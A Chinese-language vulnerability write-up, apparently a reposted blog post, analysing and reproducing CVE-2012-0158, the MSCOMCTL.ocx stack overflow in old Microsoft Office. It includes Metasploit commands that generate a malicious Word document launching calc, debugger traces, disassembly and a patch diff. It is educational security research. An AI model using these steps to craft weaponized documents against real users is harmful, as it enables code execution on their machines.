IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> CVE-2012-0158漏洞分析与复现 -> 正文阅读

[系统运维]CVE-2012-0158漏洞分析与复现

CVE-2012-0158漏洞分析

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:Microsoft Office MSCOMCTL.ocx栈溢出漏洞
  • 漏洞编号:CVE-2012-0158
  • 漏洞类型:栈溢出
  • 漏洞影响:信息泄露
  • CVSS评分:9.3(High)
  • 利用难度:Medium
  • 基础权限:不需要

2. 组件概述

Microsoft Office 是由微软公司开发的一套基于 Windows 操作系统的办公软件套装。常用组件有 Word、Excel、PowerPoint等。最新版本为Microsoft 365及Office 2019(正式版本)。

3. 漏洞影响

Windows系统下Microsoft Office 2003 SP3, 2007 SP2 和 SP3, 2010 和 2010 SP3。

4. 解决方案

  • 不要打开来自不受信任来源的 Microsoft Office 和 WordPad 文档
  • 防止 易受攻击的 ActiveX 控件 在 Internet Explorer 中运行
  • 更新Microsoft Office版本至高于2010版本

二、漏洞复现

1. 环境搭建

  • 靶机环境:Windows XPx86 SP3
  • 靶机配置:192.168.44.153
  • 攻击机环境:Kali Linux 2021.2
  • 攻击机配置:192.168.44.152

2. 复现过程

本次复现设置的payload为在目标系统中启动calculator.exe

(1) Kali中启动Metasploit生成木马文件

搜索Adobe渗透模块 
msf > search cve-2012-0158
调用渗透模块 
msf > use 0

1.PNG

?

设置payload为执行命令行 
msf  exploit(windows/fileformat/ms12_027_mscomctl_bof) > set payload 29
展示配置
msf  exploit(windows/fileformat/ms12_027_mscomctl_bof) > show options
设置命令为运行calculator.exe
msf  exploit(windows/fileformat/ms12_027_mscomctl_bof > set cmd calc
生成木马文件
msf  exploit(windows/fileformat/ms12_027_mscomctl_bof) > exploit

2.PNG

3.PNG

(2) 将word木马文件发送至靶机

4.PNG

?(3) 运行word

5.PNG

?可看到跳出计算器窗口

三、漏洞分析

1. 基本信息

  • 漏洞文件:msf.doc
  • 漏洞函数:自定义函数sub_275C89C7
  • 漏洞对象:Word文档

2. 背景知识

1. 栈溢出

程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖

2. 跳板技术

从汇编角度讲,在函数执行retn返回前,ESP刚好指向栈中存放返回地址的+0x4地址,若是发生栈溢出,将函数的返回地址覆盖为jmp esp,剩下的部分覆盖为shellcode,程序就会在返回时自动跳转到shellcode地址,这种方法能够增加shellcode的写入空间,并且绕过ASLR。

3. 详细分析

1. 基础分析

参考《漏洞战争》及其配套资料,首先尝试运行配套资料中的poc.doc文件,会发生:

6.PNG

错误报告中显示出现了错误的访问地址0x41414141

使用二进制编辑器查看poc文件原格式:

7.PNG

看到41414141字符串

从DOCF11E0开始是OLE签名,从这里开始一直至结束部分能够被OffVis识别,通过将文件中这部分数据单独提取出来,并制成二进制文件,以放在OffVis中查看

制成二进制文件过程如下:

先将这部分数据复制到文档中

8

将文档中的十六进制的内容编码成二进制文件,这里使用python语言实现:

# 读取保存的txt文档
a = open('a.text')
 
# 将文档中的内容转为字符串形式
content = a.read()
 
# 将字符串以十六进制形式编码为二进制数据
content = content.decode('hex')
 
# 新建文件b
b = open('b', 'wr')
 
# 二进制数据写入文件中
b.write(content)
 
# 关闭文件
a.close()
b.close()

将输出的文件b放在OffVis中查看格式,搜索41414141十六进制内容,找到其位置

9.PNG

0x41414141位于Data字段

2. 动态分析

调试前需要先设置OD。首先打开选项-调试选项,取消图中忽略的中断和异常:

10.PNG

插件-StrongOD-Options,取消勾选Skip Some Exceptions

11.PNG

打开Microsoft Word,使用OD附加进程WINWORD,按F9运行后打开poc文件

12.PNG

?继续按F9,让程序运行,此时系统发生报错,提示为:

13.PNG

查看栈中数据

14.PNG

可发现最近的返回地址为0x275C8A0A,在反汇编窗口中跟随:

15.PNG

?可看到函数MSCOMCTL.275C876D,初步断定是这个函数引起的栈溢出,在这里设置断点,重新运行,到达断点处此时栈中还没有发生溢出

16.PNG

?单步步入进一步确定发生溢出的位置,当运行到指令

275C87CB    F3:A5           rep movs dword ptr es:[edi],dword ptr ds:[esi]

发现栈中数据逐渐被覆盖,一直执行这个rep movs指令,栈的前后变化如图:

17.PNG

?

18.PNG

可以看到从0x001215DC开始,往下的数据被逐个覆盖掉,就此,成功找到发生栈溢出的函数MSCOMCTL.275C876D

测试过poc.doc后,尝试分析用msf生成的运行计算器的msf.doc

重新运行word并附加,F9,打开msf.doc文件,F9运行,由于之前测试poc时在函数MSCOMCTL.275C876D处设置了断点,此次运行时程序自动断在了此处,跟进后运行至

275C87CB    F3:A5           rep movs dword ptr es:[edi],dword ptr ds:[esi]

指令执行前后栈中变化如下:

19.PNG

?

20.PNG

图中可以看到栈中的返回地址被覆盖为27583C30,在反汇编窗口中查看该地址指令:

21.PNG

?指令为jmp esp,使用跳板修改程序执行流,那么说明栈中返回地址以下(0x001215EC以下)的内容为shellcode,在数据窗口和反汇编窗口中跟随这部分内容

22.PNG

能够看到shellcode前面是一堆“滑板指令”,运行后内存数据无任何变化,一直运行这这里时:

23.PNG

?能够看到一段循环指令,指令后方出现call 001217B1,单步执行这个循环发现数据窗口中地址0x001217B1的内容在逐渐发生变化,初步断定为shellcode在解码操作,将其全部解码后数据窗口如图所示:

24.PNG

继续跟进call 001217B1,在执行指令001217B4 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2]后发现寄存器EAX指向了字符串"calc", 继续向下执行 call ebp,此时系统弹出计算器,说明此步执行了运行计算器函数。继续运行后程序结束。

25.PNG

?

26.PNG

3. 静态分析

1. Ida分析

使用Ida打开C:\WINDOWS\system32\MSCOMCTL.OCX,查看地址0x275C8A0A所在的函数(从地址向上找push ebp),找到函数sub_275c89c7,分析该函数的代码:

.text:275C89C7                 push    ebp
.text:275C89C8                 mov     ebp, esp
.text:275C89CA                 sub     esp, 14h   ; 开辟了0x14站空间
.text:275C89CD                 push    ebx
.text:275C89CE                 mov     ebx, [ebp+bstrString]
.text:275C89D1                 push    esi
.text:275C89D2                 push    edi
.text:275C89D3                 push    0Ch             ; dwBytes
.text:275C89D5                 lea     eax, [ebp+var_14]
.text:275C89D8                 push    ebx             ; lpMem
.text:275C89D9                 push    eax             ; int
.text:275C89DA                 call    sub_275C876D
.text:275C89DF                 add     esp, 0Ch    ; 用掉0xC,还剩0x8
.text:275C89E2                 test    eax, eax
.text:275C89E4                 jl      short loc_275C8A52
.text:275C89E6                 cmp     [ebp+var_14], 6A626F43h
.text:275C89ED                 jnz     loc_275D3085
.text:275C89F3                 cmp     [ebp+dwBytes], 8
.text:275C89F7                 jb      loc_275D3085
.text:275C89FD                 push    [ebp+dwBytes]   ; dwBytes
.text:275C8A00                 lea     eax, [ebp+var_8]
.text:275C8A03                 push    ebx             ; lpMem
.text:275C8A04                 push    eax             ; int
.text:275C8A05                 call    sub_275C876D    ; 出现溢出的函数
.text:275C8A0A                 mov     esi, eax

在进入函数sub_275C876D之前堆栈还剩0x8大小的栈空间,F5转化为C伪代码如下:

int __stdcall sub_275C89C7(int a1, BSTR bstrString)
{
  BSTR v2; // ebx@1
  int result; // eax@1
  int v4; // esi@4
  int v5; // [sp+Ch] [bp-14h]@1
  SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3
  int v7; // [sp+18h] [bp-8h]@4
  int v8; // [sp+1Ch] [bp-4h]@8
 
  v2 = bstrString;
  result = sub_275C876D((int)&v5, bstrString, 0xCu);  //此处用掉了0xC站空间
  if ( result >= 0 )
  {
    if ( v5 == 1784835907 && dwBytes >= 8 )  //此处没有对字符串限制大小,反而大于约定长度也可以
    {
      v4 = sub_275C876D((int)&v7, v2, dwBytes);  //此处发生溢出
      if ( v4 >= 0 )
      {
        if ( !v7 )
          goto LABEL_8;
        bstrString = 0;
        v4 = sub_275C8A59((UINT)&bstrString, (int)v2);
        if ( v4 >= 0 )
        {
          sub_27585BE7(bstrString);
          SysFreeString(bstrString);
LABEL_8:
          if ( v8 )
            v4 = sub_275C8B2B(a1 + 20, v2);
          return v4;
        }
      }
      return v4;
    }
    result = -2147418113;
  }
  return result;
}

从代码中看出,没有对输入的字符串进行限制大小,跟进sub_275C876D函数查看

int __cdecl sub_275C876D(int a1, LPVOID lpMem, SIZE_T dwBytes)
{
int __cdecl sub_275C876D(int a1, LPVOID lpMem, SIZE_T dwBytes)
{
  LPVOID v3; // ebx@1
  int result; // eax@1
  LPVOID v5; // eax@3
  int v6; // esi@4
  int v7; // [sp+Ch] [bp-4h]@1
  const void *lpMema; // [sp+1Ch] [bp+Ch]@3
 
  v3 = lpMem;
  result = (*(*lpMem + 12))(lpMem, &v7, 4, 0);
  if ( result >= 0 )
  {
    if ( v7 == dwBytes )
    {
      v5 = HeapAlloc(hHeap, 0, dwBytes);  //分配堆空间,样本中的dwBytes远大于0x8
      lpMema = v5;
      if ( v5 )
      {
        v6 = (*(*v3 + 12))(v3, v5, dwBytes, 0);
        if ( v6 >= 0 )
        {
          qmemcpy(a1, lpMema, dwBytes);  //将数据入栈,由于超出8字节,导致溢出
          v6 = (*(*v3 + 12))(v3, &unk_27632368, ((dwBytes + 3) & 0xFFFFFFFC) - dwBytes, 0);
        }
        HeapFree(hHeap, 0, lpMema);
        result = v6;
      }
      else
      {
        result = -2147024882;
      }
    }
    else
    {
      result = -2147418113;
    }
  }
  return result;
}
}

2. 补丁Diff

用Ida打开修复后的MSCOMCTL.ocx查看,修复函数为sub_275D0076,要求长度必须等于8,否则退出程序。

int __stdcall sub_275D0076(int a1, void *len)
{
  void *v2; // ebx@1
  int result; // eax@1
  int v4; // eax@6
  int v5; // ecx@6
  int v6; // esi@6
  int v7; // [sp+Ch] [bp-14h]@1
  int v8; // [sp+10h] [bp-10h]@3
  int v9; // [sp+14h] [bp-Ch]@4
  int v10; // [sp+18h] [bp-8h]@6
  int v11; // [sp+1Ch] [bp-4h]@10
 
  v2 = len;
  result = CopyOLEdata((int)&v7, len, 0xCu);
  if ( result >= 0 )
  {
    if ( v7 != 0x6A626F43 || v8 != 0x64 || v9 != 8 )// 直接判断cbSize是否等于8,不为8则返回
      return 0x8000FFFF;
    v4 = CopyOLEdata((int)&v10, v2, 8u);
    v6 = v4;
    if ( v4 < 0 )
      return v6;
    if ( v10 )
    {
      len = 0;
      v6 = sub_275D6BB6((UINT)&len, (int)v2);
      if ( v6 < 0 )
        return v6;
      sub_275D02CC((BSTR)len);
      SysFreeString((BSTR)len);
    }
    if ( v11 )
      v6 = sub_275D6E3F(v4, v5, a1 + 20, (int)v2);
    return v6;
  }
  return result;
}

四、缓解措施

  1. 恶意文件可以作为电子邮件附件发送,但攻击者必须说服用户打开附件才能利用该漏洞。

  2. 成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。与使用管理用户权限操作的用户相比,帐户配置为在系统上拥有较少用户权限的用户受到的影响较小。

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-08-24 15:57:18  更:2021-08-24 15:57:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 11:54:36-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码